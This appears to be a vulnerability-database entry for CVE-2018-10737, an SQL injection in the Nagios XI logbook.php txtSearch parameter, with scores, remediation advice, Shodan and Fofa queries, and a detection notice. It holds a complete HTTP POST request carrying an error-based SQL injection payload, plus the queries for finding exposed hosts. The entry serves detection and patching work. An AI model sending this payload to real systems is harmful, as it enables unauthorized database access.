🔙 목록으로 돌아가기

CVE-2018-10737: NagiosXI <= 5.4.12 logbook.php SQL injection

TitleNagiosXI <= 5.4.12 logbook.php SQL injection
AuthorDhiyaneshDK
SeverityHigh
ImpactAuthenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.
RemediationUpgrade to Nagios XI version 5.4.13 or later.
CVSS Score7.2
EPSS Score0.83161
CVE IDCVE-2018-10737
CWE IDCWE-89
Shodan Queryhttp.title:"nagios xi"
Fofa Queryapp="Nagios-XI"title="nagios xi"app="nagios-xi"
Tags cve cve2018 nagios sqli vkev vuln

🔍 Vulnerability Description

A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/logbook.php txtSearch parameter.

🌐 HTTP Request

POST /nagiosql/admin/logbook.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Content-Length: 196
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

txtSearch=' and (select 1 from(select count(*),concat((select (select (select md5(1912))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10737.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-10737.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A